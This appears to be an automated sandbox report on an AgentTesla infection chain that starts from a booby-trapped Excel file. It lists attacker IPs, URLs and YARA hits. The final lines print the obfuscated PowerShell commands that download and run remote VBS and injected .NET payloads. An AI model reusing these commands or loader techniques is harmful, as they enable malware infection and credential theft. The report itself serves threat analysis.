Source: Yara match	File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 192.185.89.92 192.185.89.92
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: TERASYST-ASBG TERASYST-ASBG
Source: Joe Sandbox View	ASN Name: THEZONEBG THEZONEBG

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /ppltL HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ppltL HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8983-Connection: Keep-AliveHost: 198.46.178.144If-Range: "d0282dd4eccda1:0"
Source: global traffic	HTTP traffic detected: GET /eveningfiledatinglover.vbs HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Users_API/negrocock/file_mq5uppna.ldt.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 94.156.65.247

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.144

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE899E7018 URLDownloadToFileW,

7_2_000007FE899E7018

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D2E31577.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /ppltL HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ppltL HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /EvengIEcache.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8983-Connection: Keep-AliveHost: 198.46.178.144If-Range: "d0282dd4eccda1:0"
Source: global traffic	HTTP traffic detected: GET /eveningfiledatinglover.vbs HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Users_API/negrocock/file_mq5uppna.ldt.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 94.156.65.247
Source: global traffic	HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: hop.fyi
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144
Source: mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.hta
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.hta...
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.hta...e
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.hta/
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.hta6o
Source: mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.htaC:
Source: mshta.exe, 00000004.00000003.464522889.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.htaZ
Source: mshta.exe, 00000004.00000003.465933300.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.htahttp://198.46.178.144/EvengIEcache.hta0
Source: mshta.exe, 00000004.00000003.465933300.0000000002BFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/EvengIEcache.htax
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/eveningfil
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbs
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbsp
Source: powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbst
Source: powershell.exe, 00000007.00000002.490786833.000000001C28A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/eveningfiledatinglover.vbstt
Source: mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/f
Source: mshta.exe, 00000004.00000003.463853080.000000000040D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.466473179.000000000040E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.000000000040E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/j
Source: powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.144/madamwebbbbbbbas6444.txt
Source: powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.254.194
Source: powershell.exe, 0000000C.00000002.503395104.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpg
Source: powershell.exe, 0000000C.00000002.504336170.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpgxRm;
Source: wscript.exe, 0000000B.00000003.516835984.0000000000413000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.517801046.0000000000485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.516954761.0000000000411000.00000004.00000020.00020000.00000000.sdmp, eveningfiledatinglover[1].vbs.7.dr, eveningfiledatinglover.vBS.7.dr	String found in binary or memory: http://94.156.65.247/Users_API/negrocock/file_mq5uppna.ldt.txt
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000007.00000002.490233205.000000001A626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.490786833.000000001C30D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.cr
Source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: mshta.exe, 00000004.00000002.466473179.00000000003F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.464522889.00000000003FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/
Source: mshta.exe, 00000004.00000002.466473179.00000000003BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/ppltL
Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx, 46930000.0.dr	String found in binary or memory: http://hop.fyi/ppltLB
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/ppltLP8
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/ppltLT8
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/ppltLh
Source: mshta.exe, 00000004.00000002.466473179.000000000034E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hop.fyi/ppltLl
Source: AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.485211497.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002371000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.0000000002431000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.619170569.00000000024D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.489807943.0000000012341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.490786833.000000001C280000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.490786833.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 12.2.powershell.exe.12778558.2.raw.unpack, cPKWk.cs

.Net Code: VG0StEU

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	OLE: Microsoft Excel 2007+
Source: 46930000.0.dr	OLE: Microsoft Excel 2007+
Source: ~DF9497146B9A365AE9.TMP.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"
